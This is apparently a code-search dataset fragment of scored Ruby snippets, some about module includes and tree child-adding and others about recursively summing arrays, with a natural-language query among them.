"text": "def do_includes\n @content.scan(/%mixin/) do |c,m|\n if cls = @classes[c]\n m = @known_classes[m] || m\n incl = cls.add_include RDoc::Include.new(m, \"\")\n incl.record_location @top_level\n end\n end\n end",
"title": ""
},
{
"docid": "0ddf594758275fa463379f7de70ae306",
"score": "0.56186527",
"text": "def acts_as_tree_with_extensions(options = {})\n self.class_eval do\n acts_as_tree_without_extensions(options)\n include InstanceMethods\n extend ClassMethods\n end\n end",
"title": ""
},
{
"docid": "b644a2910f16eb4018f63a5c9bf7722a",
"score": "0.5610901",
"text": "def add!(_, child)\n child\n end",
"title": ""
},
{
"docid": "7de70ba944014972df0a5b7d27041b69",
"score": "0.55438584",
"text": "def add_child(t, child)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5727897cb2a6cfde20fcd72eef2cafe0",
"score": "0.5521475",
"text": "def serializable_add_includes(options = {}) #:nodoc:\n super do |association, records, opts|\n yield association, records, opts.merge(:scope => options[:scope])\n end\n end",
"title": ""
},
{
"docid": "5ac1aa682a8a76173ae1a10d7a6a6fab",
"score": "0.5520727",
"text": "def include_children(bool)\n @include_children = bool\n self\n end",
"title": ""
},
{
"docid": "209d47fa9cd4e2145705ba6375042313",
"score": "0.5512879",
"text": "def method_missing(method, *args, &block) \n if method.to_s.include?('add_') \n type = method.to_s.gsub!('add_', '').to_s.capitalize \n docClass = Object.const_get(type) \n options = { :parent_id => self.id} \n if self.root_id == nil \n options[:root_id] = self.id\n else\n options[:root_id] = self.root_id \n end\n options = args.extract_options!.merge(options) \n return docClass.new(options)\n else\n super\n end \n end",
"title": ""
},
{
"docid": "f8443631764c6e988e5fab3d293e9ca4",
"score": "0.55026466",
"text": "def includes\n end",
"title": ""
},
{
"docid": "0b56d2f9cf47ea836e30bae579ea4346",
"score": "0.5493785",
"text": "def add_includes(&block)\n includes = @options.delete(:include)\n assoc_includes, associations = serializable_association_names(includes)\n\n for association in associations\n model_assoc = @attribute_map.model_association(association)\n\n records = case reflection(model_assoc).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(model_assoc).to_a\n when :has_one, :belongs_to\n @record.send(model_assoc)\n end\n\n yield(association, records, assoc_includes.is_a?(Hash) ? assoc_includes[association] : {}) if records\n end\n\n @options[:include] = includes if includes\n end",
"title": ""
},
{
"docid": "b6c862b792f499db145fec5c67730873",
"score": "0.5493731",
"text": "def includes(*includes)\n @_includes += includes.flatten\n self\n end",
"title": ""
},
{
"docid": "1ecb0a36c22223295688f5dce0c74d7a",
"score": "0.54691994",
"text": "def included(descendant)\n descendant.__send__(:include, new)\n end",
"title": ""
},
{
"docid": "a1c83f8c17d5a71cf70b7513bd9b1d90",
"score": "0.5468956",
"text": "def _blockenspiel_custom_include(*modules_) # :nodoc:\n _blockenspiel_default_include(*modules_)\n modules_.reverse_each do |mod_|\n mod_.public_instance_methods.each do |method_|\n _blockenspiel_auto_dsl_method(method_)\n end\n end\n end",
"title": ""
},
{
"docid": "395e309a6175e9e8dbd99db9d8a0d92d",
"score": "0.546798",
"text": "def a_collection_including(*args, &block); end",
"title": ""
},
{
"docid": "ba54ae9f24f5f5948266e9c74516e27b",
"score": "0.54652137",
"text": "def add(child) \n add_child(child)\n end",
"title": ""
},
{
"docid": "3016de64cd56c77c35661ab258c56383",
"score": "0.54382443",
"text": "def includes; end",
"title": ""
},
{
"docid": "3016de64cd56c77c35661ab258c56383",
"score": "0.54382443",
"text": "def includes; end",
"title": ""
},
{
"docid": "bc6cdf99b06c7f2a500e0deb32d1e164",
"score": "0.54194903",
"text": "def included; end",
"title": ""
},
{
"docid": "bc6cdf99b06c7f2a500e0deb32d1e164",
"score": "0.54194903",
"text": "def included; end",
"title": ""
},
{
"docid": "9e49025764c1af16924eb8f982af191e",
"score": "0.54097646",
"text": "def create_include(name, &block)\n new_include = RbiGenerator::Include.new(\n generator,\n name: name,\n &block\n )\n move_next_comments(new_include)\n children << new_include\n new_include\n end",
"title": ""
},
{
"docid": "9b74231438087b0a445cf14a71dafbdb",
"score": "0.54052407",
"text": "def included(base); end",
"title": ""
},
{
"docid": "9b74231438087b0a445cf14a71dafbdb",
"score": "0.54052407",
"text": "def included(base); end",
"title": ""
},
{
"docid": "36ba8516b944ab5f71461a31eeb1a26b",
"score": "0.53875685",
"text": "def visit_method_add_block(node); end",
"title": ""
},
{
"docid": "36ba8516b944ab5f71461a31eeb1a26b",
"score": "0.53875685",
"text": "def visit_method_add_block(node); end",
"title": ""
},
{
"docid": "931d7b2a3c6677a8dab4acfbddb41ba8",
"score": "0.5366021",
"text": "def include(name)\n node.include = name\n end",
"title": ""
},
{
"docid": "d7d03511cb98e563256467e0e16e2287",
"score": "0.5359112",
"text": "def append_features(base)\n if base.instance_variable_defined?(\"@_dependencies\")\n base.instance_variable_get(\"@_dependencies\") << self\n return false\n else\n return false if base < self\n @_dependencies.each { |dep| base.send(:include, dep) }\n super\n base.extend const_get(\"ClassMethods\") if const_defined?(\"ClassMethods\")\n base.send :include, const_get(\"InstanceMethods\") if const_defined?(\"InstanceMethods\")\n base.class_eval(&@_included_block) if instance_variable_defined?(\"@_included_block\")\n end\n end",
"title": ""
},
{
"docid": "a707870dfb87c3d5e0a99692ffe540dd",
"score": "0.535729",
"text": "def include_examples(name, *args, &block); end",
"title": ""
},
{
"docid": "d1c615824d4b289c3f25b1f2b71ef6bf",
"score": "0.535296",
"text": "def add(elem)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "a073ed2c58eb60783597f3e8545c0981",
"score": "0.5349149",
"text": "def xinclude()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "d3331ee500678b60cd61492496a0ef42",
"score": "0.53459585",
"text": "def visit_include node\n # QUESTION should we reuse this instance to traverse the new tree?\n include_infile = node.attr 'href'\n include_outfile = include_infile.sub '.xml', '.adoc'\n if File.readable? include_infile\n doc = Nokogiri::XML::Document.parse(File.read include_infile)\n # TODO pass in options that were passed to this visitor\n visitor = self.class.new\n doc.root.accept visitor\n result = visitor.lines\n result.shift while result.size > 0 && result.first.empty?\n File.open(include_outfile, 'w') {|f| f.write(visitor.lines * EOL) }\n else\n warn %(Include file not readable: #{include_infile})\n end\n append_blank_line\n # TODO make leveloffset more context-aware\n append_line %(:leveloffset: #{@level - 1}) if @level > 1\n append_line %(include::#{include_outfile}[])\n append_line %(:leveloffset: 0) if @level > 1\n false\n end",
"title": ""
},
{
"docid": "1e9d26301af3f4b87231bd3da1dce37b",
"score": "0.533281",
"text": "def including(*elements)\n self + elements.flatten(1)\n end",
"title": ""
},
{
"docid": "e12b75bb1e483570ba655d8e921414f4",
"score": "0.5332077",
"text": "def method_missing(name, *args, &block)\n if ['add', 'delete', 'include?'].include?(name.to_s)\n\n # At first, I'd done this:\n # s = args[0]\n # s = validate_input(s)\n # @node.send(name, s)\n #\n # This was problematic, because someone could've called our add, delete,\n # and include? methods with the wrong number of arguments. As long as\n # the first argument was a string, they wouldn't have even gotten an\n # exception/traceback.\n #\n # The way it's implemented now, people will get the expected\n # exceptions/tracebacks if they call our methods with the wrong number of\n # arguments, or the wrong type of arguments. This will make someone's\n # middle-of-the-night debugging session much easier (probably mine). ;-)\n #\n # I spend so much of my life trying to outsmart my past or future self.\n args[0] = validate_input(*args)\n val = @node.send(name, *args)\n\n val = name.to_s == 'include?' ? val : self\n return val\n else\n return super(name, *args, &block)\n end\n end",
"title": ""
},
{
"docid": "9af794395167ef31000679eb54d4d440",
"score": "0.5330161",
"text": "def children\n add \"children()\"\n end",
"title": ""
},
{
"docid": "3c3f8b3cadbfcf1903b116593ccd4970",
"score": "0.53264856",
"text": "def add_child(aChild)\n children << aChild\n end",
"title": ""
},
{
"docid": "fa53028127f5f553ce6bd82b4b593037",
"score": "0.53223807",
"text": "def <<(child); end",
"title": ""
},
{
"docid": "c35cbe7e5d90a03c6979dac2c922c707",
"score": "0.53180665",
"text": "def included(descendant)\n descendant.instance_exec(self, attribute_names) do |anima, names|\n # Define anima method\n define_singleton_method(:anima) { anima }\n\n # Define instance methods\n include InstanceMethods\n\n # Define attribute readers\n attr_reader(*names)\n\n # Define equalizer\n include Equalizer.new(*names)\n end\n end",
"title": ""
},
{
"docid": "b1c6a36d0cec97f015b66ffdbc547c76",
"score": "0.53104967",
"text": "def add w,&b\n w.element.append_to container_element\n \n if !sensitive() or !events_enabled()\n w.events_enabled(false)\n end\n \n bool = false\n \n self.class.ancestors.reverse.each do |q|\n bool = true if q == Container\n next unless q.is_a?(Widget::Interface) \n \n next unless bool\n \n w.element.add_class q.class_name+\"-child\"\n end\n\n b.call(w) if b\n\n return self\n end",
"title": ""
},
{
"docid": "0f01f15a9284f57ae3da72ae62440b8c",
"score": "0.53049463",
"text": "def add(options)\n parent_chain = Array.wrap(options.delete(:parent))\n\n item = if parent = parent_chain.shift\n options[:parent] = parent_chain if parent_chain.any?\n (self[parent] || add(label: parent)).add options\n else\n _add options.merge parent: self\n end\n\n yield(item) if block_given?\n\n item\n end",
"title": ""
},
{
"docid": "9f9006e18e17ccfe089ec83476c25e1b",
"score": "0.5297831",
"text": "def include(*mods)\n mods.each { |mod| includes << mod }\n end",
"title": ""
},
{
"docid": "0e2996d4c353cf493db2c51212b361f0",
"score": "0.52922505",
"text": "def <<(child)\n add(child)\n end",
"title": ""
},
{
"docid": "7f840ed4f9a693f04902f8d5574871e0",
"score": "0.5288644",
"text": "def add_include(permitted = [])\n @include = JsonApiServer::Include.new(request, model, permitted)\n self\n end",
"title": ""
},
{
"docid": "55458ab79ba302a0f76fa3e67d8d6e5c",
"score": "0.5287552",
"text": "def include_in_object(obj, include_ancestry = false)\n (include_ancestry ? @rmixins : @mixins).each { |m| obj.extend(m) }\n self\n end",
"title": ""
},
{
"docid": "ed7cfd39b2a97c014ad8c0f0d00a5eba",
"score": "0.5284561",
"text": "def add(mixin)\n @mixins << mixin\n @classes.each { |k| k.class_eval { include(mixin) } }\n _radd(mixin)\n end",
"title": ""
},
{
"docid": "8386bd81ce06f5a2c8494377705595ca",
"score": "0.5283073",
"text": "def model_includes\n @nodes = build_token_tree\n root_nodes = children\n root_nodes.collect { |node| merge_nodes(node) }\n end",
"title": ""
},
{
"docid": "1893ad518d72d221637ec270673ebfe0",
"score": "0.5279245",
"text": "def create_include(type, &block)\n new_include = RbsGenerator::Include.new(\n generator,\n type: type,\n &block\n )\n move_next_comments(new_include)\n children << new_include\n new_include\n end",
"title": ""
},
{
"docid": "6c32425139012ff318451daf2751808b",
"score": "0.5263742",
"text": "def include_in_object(obj_, include_ancestry_=false)\n (include_ancestry_ ? @rmixins : @mixins).each{ |m_| obj_.extend(m_) }\n self\n end",
"title": ""
},
{
"docid": "4ba87b5fa25de2e9dad8f4b019419192",
"score": "0.52573276",
"text": "def including(*args, &block); end",
"title": ""
},
{
"docid": "c1ddd771d087886eab5d57a21fc386f5",
"score": "0.5253719",
"text": "def including(*elements); end",
"title": ""
},
{
"docid": "c1ddd771d087886eab5d57a21fc386f5",
"score": "0.5253719",
"text": "def including(*elements); end",
"title": ""
},
{
"docid": "053548c1e6d920df90ac16d055c19ee9",
"score": "0.5248617",
"text": "def include(*a)\n res = super\n def_roda_before\n def_roda_after\n res\n end",
"title": ""
},
{
"docid": "165b9169480fb488e72d9bfcdddee7a3",
"score": "0.5245717",
"text": "def method_missing(meth, *args, &block)\n if @node.respond_to?(meth)\n @node.send meth, *args, &block\n elsif @node.children.respond_to?(meth)\n @node.children.send meth, *args, &block\n else\n super\n end\n end",
"title": ""
},
{
"docid": "85828d3272ddf91c60427eb77abd4353",
"score": "0.5239131",
"text": "def do_includes\n @body.scan(/%mixin\\s+(\\w+)\\s+\"([^\"]+)\"s*;/) do |c,m| #\"\n if cls = @classes[c]\n m = @known_classes[m] || m\n cls.add_include(Include.new(m, \"\"))\n end\n end\n end",
"title": ""
},
{
"docid": "416ccd38049ff457b6a28ba22666aba6",
"score": "0.5215773",
"text": "def def_add_method(opts)\n association_module_def(opts.add_method){|o| add_associated_object(opts, o)}\n end",
"title": ""
},
{
"docid": "dd3396d1c690591515e5cf1e7574b84e",
"score": "0.52146566",
"text": "def include_in_class\n @extension_method = :include\n customize @control_class\n end",
"title": ""
},
{
"docid": "6ba4a3a9a6249453441443bc891ef5ce",
"score": "0.5203203",
"text": "def add_includes(incs)\n add_rels(FileRefTypes::TYPE_INCLUDE, FileRefTypes::TYPE_INCLUDED_BY, incs)\n end",
"title": ""
},
{
"docid": "c2f8015065c32ddd65bc3f3ec1e8310f",
"score": "0.51914245",
"text": "def includes; options[:include] end",
"title": ""
},
{
"docid": "35845c01bf253002de576e546701cce3",
"score": "0.5190914",
"text": "def addIncludeDirs(incdirs)\n\t\traise \"to be implemented by subclasses\"\n\tend",
"title": ""
},
{
"docid": "bb2df1c321a36fb99eedd44e63207a1f",
"score": "0.51905024",
"text": "def __add__(type, *args, &block)\n builder = type.branch? ? :__branch__ : :__node__\n @tree += __send__(builder, type, *args, &block)\n end",
"title": ""
},
{
"docid": "064b56b532d94f27aab41b8d71985c8f",
"score": "0.51781875",
"text": "def add_child(*)\n super\n calculate_columns!\n end",
"title": ""
},
{
"docid": "1c843acf952b11887b5b41b23f37cd75",
"score": "0.5163981",
"text": "def quick_add; end",
"title": ""
},
{
"docid": "3b64294af4f6bdbe542400623ffea8de",
"score": "0.51624703",
"text": "def add(metadata)\n include?(metadata) ? metadata : super\n end",
"title": ""
},
{
"docid": "0f2b033a93fa3a4a646bd28f7e3db6ab",
"score": "0.51608056",
"text": "def children(method_name, options = {})\n\t\t\t\t\twrite_inheritable_hash(:children, {method_name.to_sym => {\n\t\t\t\t\t\t:element_name => method_name.to_s.singularize,\n\t\t\t\t\t\t:collection_element => method_name.to_s\n\t\t\t\t\t}.merge(options)})\n\t\t\t\tend",
"title": ""
},
{
"docid": "92f83ccb734e4796a26518f01732bdbd",
"score": "0.5157087",
"text": "def add_child(child) \n @children << child \n end",
"title": ""
},
{
"docid": "b127805966f570c30262a362f035792d",
"score": "0.51547766",
"text": "def get_children\n # Interface method\n end",
"title": ""
},
{
"docid": "608567f70f64711dada39244b4d40eb6",
"score": "0.51481324",
"text": "def included(descendant)\n super\n descendant.module_eval { include Adamantium }\n end",
"title": ""
},
{
"docid": "9a9826becd5288cbc842c8f24cfa0cec",
"score": "0.51346636",
"text": "def children\n raise NotImplementedError\n end",
"title": ""
}
] |
cc8eac76bf447f2e2f79d0b1eda0885e
|
O(n) time, with O(n) memory initiation add the first element to a recursive call propagation keep recursing until the element is size 1 termination once we hit 0, the recursive calls return values to subsequent calls, which are added together this is a little beter because the array is not destructively recursed through
|
[
{
"docid": "60df1624935741bed3ad58327465aa8b",
"score": "0.0",
"text": "def sum_recv2(nums)\n return nums[0] if nums.size == 1\n [nums[0] + sum_rec(nums.drop(1))]\nend",
"title": ""
}
] |
[
{
"docid": "1073e8289adfe76366dbc9785d8d3a5b",
"score": "0.77038985",
"text": "def sum_of_arrays_recursive(array)\n if array.length == 1\n array[0]\n else\n array.shift + sum_of_arrays_recursive(array)\n end\nend",
"title": ""
},
{
"docid": "cbd2e419020e2059490f8c291121dd3c",
"score": "0.76664007",
"text": "def sum_array_recursive(arr)\n return arr[0] if arr.length == 1\n\n arr[0] + sum_array_recursive(arr[1..-1])\nend",
"title": ""
},
{
"docid": "b69a15eaad1cb9566e75cbcf58098d7e",
"score": "0.7595107",
"text": "def recursive_sum(arr)\n return arr.first if arr.length == 1\n arr.shift + recursive_sum(arr)\nend",
"title": ""
},
{
"docid": "6037c60245ab71ffc293e0d96556747b",
"score": "0.7584313",
"text": "def sum_recursive(array)\n return array[0] if array.length == 1\n array.pop() + sum_recursive(array)\nend",
"title": ""
},
{
"docid": "4cf345f9a9349446fdecca1b228b3513",
"score": "0.7565561",
"text": "def sum_recur(array)\n return array.first if array.size == 1\n array.first + sum_recur(array[1..-1])\nend",
"title": ""
},
{
"docid": "749e76b3953a01e577bf2a17b29d2ecd",
"score": "0.75310963",
"text": "def sum_recur(array) #this almost works\n #base case return when the arrays length is one\n duplicate = array.dup\n if duplicate.length == 1\n return duplicate[0]\n else\n last = duplicate.pop\n duplicate[-1] += last\n sum_recur(duplicate)\n end\n\nend",
"title": ""
},
{
"docid": "46e7d92504cf31150b6ee8f138222542",
"score": "0.75248694",
"text": "def sum_recur(array)\n return 0 if array.empty?\n return array.first if array.length == 1\n new_array = array.dup\n current_val = new_array.shift\n current_val += sum_recur(new_array)\nend",
"title": ""
},
{
"docid": "5129752689479414c8d656ac0c27e7d2",
"score": "0.75064576",
"text": "def sum_recur(array)\n new_array = array.dup\n return new_array.first if new_array.length == 1\n return 0 if new_array.empty?\n new_array.pop + sum_recur(new_array)\nend",
"title": ""
},
{
"docid": "4183af8d7b2fd0b0da8be0f4f7b6e9dc",
"score": "0.7503142",
"text": "def recursive_sum(array)\n if array.size > 1\n array[0] + recursive_sum(array[1..-1])\n else\n array[0]\n end\nend",
"title": ""
},
{
"docid": "2599d078450ecdbe350b18df1776e97f",
"score": "0.7499198",
"text": "def sum_recur(array)\n return 0 if array.empty?\n return array.first if array.length == 1\n array.first + sum_recur(array[1..-1])\nend",
"title": ""
},
{
"docid": "6c541a836c4b857984111a9a175e6055",
"score": "0.7497389",
"text": "def running_total1(original_arr)\n # return as-is if array is empty or only composed of 1 member\n return original_arr if original_arr.length <=1 \n # original_arr has more than 1 member, do logic\n result_arr = []\n original_arr.each_with_index do |x, i|\n i == 0 ? (result_arr << x) : (result_arr << x + result_arr[i-1])\n end\n result_arr\nend",
"title": ""
},
{
"docid": "3db20ef52c1656f573bdac8434aa3650",
"score": "0.74871826",
"text": "def sum_recur(array)\n return 0 if array.size == 0\n array.first + sum_recur(array.drop(1))\nend",
"title": ""
},
{
"docid": "bbcd8700deed712e3bf3930ad4300036",
"score": "0.74698305",
"text": "def recursive_sum(arr)\n return arr.first if arr.length == 1\n arr.first + recursive_sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "f7a9343430d57ee37fb781a2b082734d",
"score": "0.7430561",
"text": "def sum_recur(array)\n return 0 if array.empty?\n array.shift + sum_recur(array)\nend",
"title": ""
},
{
"docid": "e086fc7a7c70b1ca5c7b1bfc91edbf28",
"score": "0.7422082",
"text": "def sum_recur(array)\n return 0 if array.empty?\n\n new = array.dup\n\n new.shift + sum_recur(new)\nend",
"title": ""
},
{
"docid": "edb558436e86668ccec32fea24f1833d",
"score": "0.7417554",
"text": "def sum_array(array)\n return 0 if array.empty?\n return array.first if array.length == 1\n\n array.shift + sum_array(array)\nend",
"title": ""
},
{
"docid": "1fb15fc4f99ee2e9deb522d3a64b84d4",
"score": "0.74033505",
"text": "def sum_array(array)\n return 0 if array.empty?\n array[0] + sum_array(array[1..-1])\nend",
"title": ""
},
{
"docid": "48848418b85f04a07387487dce884b76",
"score": "0.7400614",
"text": "def sum_recur(array)\n return 0 if array.empty?\n sum_recur(array.drop(1)) + array.first\nend",
"title": ""
},
{
"docid": "6000c19c78138719166ecc89b36dc9f9",
"score": "0.7375894",
"text": "def sum_of_array_rec(arr)\r\n return 0 if arr.empty?\r\n arr[0] + sum_of_array_rec(arr[1..-1])\r\nend",
"title": ""
},
{
"docid": "8f6611b72ec024aa43df7fee5912ea35",
"score": "0.73604584",
"text": "def sum_array_recursive(arr)\n # base case\n if arr.empty?\n 0 \n else # recursive call\n arr.pop + sum_array_recursive(arr)\n end\nend",
"title": ""
},
{
"docid": "08fb315efd3aaad76ee27e113cc95cf1",
"score": "0.7359018",
"text": "def sum_recur(array)\n new_array = array.dup\n\n return 0 if array.empty?\n new_array.pop + sum_recur(new_array)\n\nend",
"title": ""
},
{
"docid": "3b0f70322d47595699e321832f5e157c",
"score": "0.73553735",
"text": "def sum_of_array_rec(arr)\n return arr[0] if arr.length == 1\n arr[0] + sum_of_array_rec(arr[1..-1])\nend",
"title": ""
},
{
"docid": "da5bab3ae0b968d6d6621d5d25b0cb2f",
"score": "0.7349469",
"text": "def sum_rec(array)\n return array[0] if array.length == 1\n array[0] + sum_rec(array[1..-1])\nend",
"title": ""
},
{
"docid": "043e38e376f013eecd3f30964530cef6",
"score": "0.7345593",
"text": "def recursive_sum(arr)\n return arr[0] if arr.length == 1\n arr[0] + recursive_sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "08be91ee3b173d7c3b2c7e271bae638e",
"score": "0.73447233",
"text": "def recursion_sum(array)\n return 0 if array.empty?\n\n array[0] + recursion_sum(array[1..])\nend",
"title": ""
},
{
"docid": "33109bb75db078bf6878f97074142927",
"score": "0.73417276",
"text": "def rec_sum(arr)\n return 0 if arr.length == 0\n return arr.first if arr.length == 1\n arr.first + rec_sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "e4ad50c11709f345f7f7559ab4b0f04a",
"score": "0.7337254",
"text": "def recursion_loop(array, total=0)\n total += array[0]\n array.shift\n if array.length != 0\n recursion_loop(array, total)\n end\n total\nend",
"title": ""
},
{
"docid": "d1b8d4e2e786d5bc22d89705a5fe4dcd",
"score": "0.7328114",
"text": "def sum_recur(array)\n\treturn 0 if array.empty?\n\tarray.first + sum_recur(array.drop(1))\nend",
"title": ""
},
{
"docid": "11c3bc36c73ce0727ecda7807a119c45",
"score": "0.73274016",
"text": "def array_sum_recursive(array)\n return 0 unless array.length > 0\n return array.shift + sum(array)\nend",
"title": ""
},
{
"docid": "c8467cc15cd4fcd6469e12d77e39959c",
"score": "0.7325357",
"text": "def sum_array(array)\n return 0 if array.length == 0\n array[-1] + sum_array(array[0...array.length - 1])\nend",
"title": ""
},
{
"docid": "5fd6fc4bc11011a4050ad75239df1942",
"score": "0.7318475",
"text": "def recursive_sum_arr(arr)\n return arr[0] if arr.length == 1\n\n arr[0] + recursive_sum_arr(arr[1..-1])\n end",
"title": ""
},
{
"docid": "886c663c005b6e244cc09f5012c7b986",
"score": "0.7292977",
"text": "def sum_iterative(array)\n return 0 if array.length < 1\n array[0] + sum_iterative(array[1..-1])\nend",
"title": ""
},
{
"docid": "802acee4e8602d34aa20e98372985788",
"score": "0.72889596",
"text": "def sum_recur(array)\n return array[0] if array.length == 1\n\n sum_recur(array[0...-1]) + array[-1]\nend",
"title": ""
},
{
"docid": "4673a34a3af4ad078b292c6df7ee973b",
"score": "0.72797424",
"text": "def sum_of_array(arr)\n return nil if arr.length < 1\n return arr[0] if arr.length == 1\n\n arr[0] + sum_of_array(arr[1..-1])\nend",
"title": ""
},
{
"docid": "0b55dffcaf182038980606237cf97584",
"score": "0.72679466",
"text": "def sum_rec(arr)\n return 0 if arr.empty?\n arr.first + sum_rec(arr[1..-1])\nend",
"title": ""
},
{
"docid": "ec6a0c7d0a66f39907ff1a17e961b0a4",
"score": "0.72462237",
"text": "def add_up_all_elements_of(arr)\n if array.length > 1\n add_up_all_elements_of(arr.slice(0, array.length-1)) + array.last\n else\n array.first\n end\nend",
"title": ""
},
{
"docid": "4c10b75b151ae5eb907514f7fa04f9ac",
"score": "0.72410965",
"text": "def sum_recur(array)\n return 0 if array.length == 0\n return array.first if array.length == 1\n array.last + sum_recur(array[0..-2])\nend",
"title": ""
},
{
"docid": "9454da2c615ba49d042b21a98f8d4677",
"score": "0.7227866",
"text": "def sum_recur(array)\n return array[0] if array.length <= 1\n first = array.first\n first + sum_recur(array[0..-2])\nend",
"title": ""
},
{
"docid": "241cf74b3d0d354862b5a498ce1066fb",
"score": "0.72116333",
"text": "def sum_recur(array)\n return 0 if array.empty?\n sum = array[0] + sum_recur(array[1..-1])\n sum\nend",
"title": ""
},
{
"docid": "a628dc899ff49083927e1eadcf9ccef1",
"score": "0.7208676",
"text": "def rec_sum(arr)\n return nil if arr.empty? \n return arr[0] if arr.length == 1\n\n arr[0] + rec_sum(arr[1..-1])\n\nend",
"title": ""
},
{
"docid": "20538983cc7c81f284167e59977cd045",
"score": "0.7184624",
"text": "def sum_recur(array)\n return array[0] if array.count < 2\n array.pop + sum_recur(array)\nend",
"title": ""
},
{
"docid": "77f7529149262bc579fa00ae8b0a9a6d",
"score": "0.71824473",
"text": "def sum_recur(array)\n return 0 if array.empty?\n\n prev_ary_sum = sum_recur(array.take(array.length - 1))\n prev_ary_sum + array.last\nend",
"title": ""
},
{
"docid": "c318d8857246bec22a0012606ae99219",
"score": "0.7181175",
"text": "def sum_recur(array)\n if array.length == 0\n 0\n else\n first_num = array[0]\n first_num + sum_recur(array.drop(1))\n end\nend",
"title": ""
},
{
"docid": "8410ae8dff56fd24bb431a659f34c141",
"score": "0.7159553",
"text": "def sum_recur(array)\n if array == []\n return 0\n end\n \n sum = array.first + sum_recur(array.drop(1))\n sum\n \nend",
"title": ""
},
{
"docid": "ae38baaff9153dae22ad85e5f9488f74",
"score": "0.71548516",
"text": "def sum_array2(array)\n return 0 if array.empty?\n\n array.pop + sum_array2(array)\n\nend",
"title": ""
},
{
"docid": "8d931ddcb422d3d1d14c2d8c3806900b",
"score": "0.71528673",
"text": "def sum_recur(array)\n return array[0] if array.length == 1\n number = array[0]\n number + sum_recur(array[1..-1])\nend",
"title": ""
},
{
"docid": "dce5a487d18d5af522adc164da247ab0",
"score": "0.7144315",
"text": "def sum_arr_re(arr)\n return arr.first if arr.length == 1\n return 0 if arr.length == 0\n arr.shift + sum_arr_re(arr)\nend",
"title": ""
},
{
"docid": "20a23f3291bc0f82bc498c351ad4e6a7",
"score": "0.71438223",
"text": "def array_sum(array)\n if array.length == 1\n array[0]\n else\n array.pop + array_sum(array)\n end\nend",
"title": ""
},
{
"docid": "f0251952f5ee9992e001983a456694e4",
"score": "0.7139678",
"text": "def re_sum(arr)\n return arr[0] if arr.length <=1\n arr[0] + re_sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "fdcdf68df0f288f0eefc0122b57d9b7a",
"score": "0.7108487",
"text": "def sum_recur(array)\n\treturn 0 if array.empty?\n\tarray[-1] + sum_recur(array[0..-2])\nend",
"title": ""
},
{
"docid": "ca0a75ec156ad9b35d4c2cea8fa75526",
"score": "0.7082094",
"text": "def sum_recur(array)\n array.empty? ? 0 : array[-1] + sum_recur(array[0..-2])\nend",
"title": ""
},
{
"docid": "17b625e0fa640902721bfcbf1caf0117",
"score": "0.7080784",
"text": "def sum(array)\n return array.first if array.length <= 1\n array.first + sum(array[1..-1])\nend",
"title": ""
},
{
"docid": "ed7f97871da95f571290ea13329d563a",
"score": "0.70782614",
"text": "def sum_of_sums(arr)\n return arr[0] if arr.size <= 1\n arr.sum + sum_of_sums(arr[0...-1])\nend",
"title": ""
},
{
"docid": "3c442f443acf9327bca8aa7f16d7ab3e",
"score": "0.70772964",
"text": "def arr_sum(arr)\n return nil if arr.empty?\n return arr[0] if arr.length == 1\n arr[0] + arr_sum(arr[1..-1])\nend",
"title": ""
},
{
"docid": "301ce503bcc3c40453cd1b6ee1723f2f",
"score": "0.70685434",
"text": "def sum_recur(array)\n\treturn 0 if array.empty?\n\ttotal = array.last + sum_recur(array[0...-1])\n\nend",
"title": ""
},
{
"docid": "3aca4474a77e899d62966cc574b3da68",
"score": "0.7052761",
"text": "def findsum(arr, arr_size)\n if arr_size == 1\n return arr.first\n else\n last = arr.pop\n arr[0] += last\n findsum(arr, arr_size - 1)\n end\nend",
"title": ""
},
{
"docid": "7276a2249576d11cde101bd6fde4a6ec",
"score": "0.70293427",
"text": "def sum_recur(arr)\n\treturn 0 if arr.empty?\n\treturn arr[0] if arr.length == 1\n\tsum_recur(arr[0...-1]) + arr[-1]\nend",
"title": ""
},
{
"docid": "2586a8900f867a8e4fae41911bc9307c",
"score": "0.69993186",
"text": "def sum_recur(array)\n return array[0] if array.count == 1\n sum =array.last + sum_recur(array[0..-2])\n sum\nend",
"title": ""
},
{
"docid": "f342ff179b280844ffd67cbbcf70935a",
"score": "0.6975758",
"text": "def sumArreglo(arr)\n if(arr.size==1)\n return arr[0]\n else\n return arr[0] + sumArreglo(arr[1..(arr.size-1)])\n end\nend",
"title": ""
},
{
"docid": "d53d12bf8ed967488c8ff54900e42b4c",
"score": "0.6963655",
"text": "def recursive_sum(arr_of_nums)\n return arr_of_nums.last if arr_of_nums[1].nil?\n arr_of_nums.shift + recursive_sum(arr_of_nums)\nend",
"title": ""
},
{
"docid": "f60115d0eb90f9983ac4876f0889d289",
"score": "0.69462776",
"text": "def sum_rec(arr)\n return 0 if arr.empty?\n return arr[0] + sum_rec(arr.drop(1))\nend",
"title": ""
},
{
"docid": "e9589eedd53fa54feb5deca488adf8f4",
"score": "0.69244355",
"text": "def sum_rec(arr)\n return arr[0] if arr.size == 1\n arr[0] + sum_rec(arr.drop(1))\nend",
"title": ""
},
{
"docid": "7f18a49df7af511cb4a58061810a71fb",
"score": "0.6897038",
"text": "def add_numbers(arr)\n return arr[0] if arr.count <= 1\n\n arr[0] + add_numbers(arr[1..-1])\n\nend",
"title": ""
},
{
"docid": "bd1da08ac3c080dc14bb556443fbd1af",
"score": "0.68951744",
"text": "def add_numbers(array)\n return array.first if array.length <= 1\n array.first + add_numbers(array[1..-1])\nend",
"title": ""
},
{
"docid": "69bf1a29e3b6c8d0b5cb5e455412abe2",
"score": "0.6889099",
"text": "def sum(array)\n if array.length == 1\n return array.first\n else\n item = array.shift\n return item + sum(array)\n end\nend",
"title": ""
},
{
"docid": "e67d462e53f2e49f7728eebdc7365cde",
"score": "0.6881033",
"text": "def add_numbers(nums_array)\n return [] if nums_array.length == 0\n nums_array[0] += add_numbers(nums_array[1..-1]) \nend",
"title": ""
},
{
"docid": "4f63ff223e72ff40350f4dbe526e3cbd",
"score": "0.6872113",
"text": "def sum(arr)\n return arr[0] if arr.length <= 1\n\n sum(arr[1..-1]) + arr[0]\nend",
"title": ""
},
{
"docid": "f6542602f27ae470ab5a9c3247df06d6",
"score": "0.68509614",
